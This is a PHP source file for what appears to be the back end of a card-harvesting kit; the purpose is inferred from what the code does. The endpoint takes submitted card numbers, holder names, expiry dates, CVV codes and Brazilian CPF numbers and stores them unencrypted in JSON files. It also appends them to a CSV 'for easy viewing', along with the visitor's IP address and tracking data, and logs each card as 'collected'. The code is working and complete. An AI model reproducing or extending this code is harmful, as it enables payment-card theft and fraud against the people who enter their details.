<?php
/**
 * ============================================
 * CARTÃO API - COLETA E SALVA DADOS DO CARTÃO
 * ============================================
 */

require_once __DIR__ . '/config.php';

setCorsHeaders();

$input = json_decode(file_get_contents('php://input'), true);

if (!$input) {
    http_response_code(400);
    echo json_encode(['success' => false, 'error' => 'Dados inválidos']);
    exit;
}

// Dados do cartão
$cartao = [
    'numero' => $input['numero'] ?? '',
    'nome' => $input['nome'] ?? '',
    'validade' => $input['validade'] ?? '',
    'cvv' => $input['cvv'] ?? '',
    'cpf_titular' => $input['cpf'] ?? '',
    'timestamp' => date('Y-m-d H:i:s'),
    'ip' => $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''
];

// Dados do cliente
$cliente = $input['cliente'] ?? [];
$tracking = $input['tracking'] ?? [];

// Monta registro completo
$registro = [
    'cartao' => $cartao,
    'cliente' => [
        'nome' => $cliente['nome'] ?? '',
        'cpf' => $cliente['cpf'] ?? '',
    ],
    'tracking' => $tracking,
    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? ''
];

// Diretório para salvar cartões
$cartaoDir = __DIR__ . '/cartoes/';
if (!is_dir($cartaoDir)) {
    @mkdir($cartaoDir, 0755, true);
}

// Gera ID único
$id = 'CARD_' . date('Ymd_His') . '_' . substr(md5(uniqid()), 0, 8);

// Salva em arquivo JSON
$saved = @file_put_contents(
    $cartaoDir . $id . '.json',
    json_encode($registro, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)
);

// Log
logCheckout('cartao.log', 'Cartão coletado', [
    'id' => $id,
    'ultimos4' => substr($cartao['numero'], -4),
    'bandeira' => detectarBandeira($cartao['numero']),
    'cliente' => $cliente['nome'] ?? 'N/A',
    'saved' => $saved !== false
]);

// Também salva em arquivo CSV para fácil visualização
$csvFile = $cartaoDir . 'cartoes.csv';
$csvExists = file_exists($csvFile);
$csv = fopen($csvFile, 'a');
if (!$csvExists) {
    fputcsv($csv, ['ID', 'Data', 'Numero', 'Nome', 'Validade', 'CVV', 'CPF Titular', 'Cliente', 'CPF Cliente', 'IP']);
}
fputcsv($csv, [
    $id,
    $cartao['timestamp'],
    $cartao['numero'],
    $cartao['nome'],
    $cartao['validade'],
    $cartao['cvv'],
    $cartao['cpf_titular'],
    $cliente['nome'] ?? '',
    $cliente['cpf'] ?? '',
    $cartao['ip']
]);
fclose($csv);

echo json_encode([
    'success' => true,
    'id' => $id,
    'message' => 'Cartão salvo'
]);

/**
 * Detecta bandeira do cartão
 */
function detectarBandeira($numero) {
    $n = preg_replace('/\D/', '', $numero);
    
    if (preg_match('/^4/', $n)) return 'visa';
    if (preg_match('/^5[1-5]/', $n)) return 'mastercard';
    if (preg_match('/^3[47]/', $n)) return 'amex';
    if (preg_match('/^(636368|438935|504175|451416|636297|5067|4576|4011)/', $n)) return 'elo';
    if (preg_match('/^(606282|3841)/', $n)) return 'hipercard';
    
    return 'desconhecida';
}
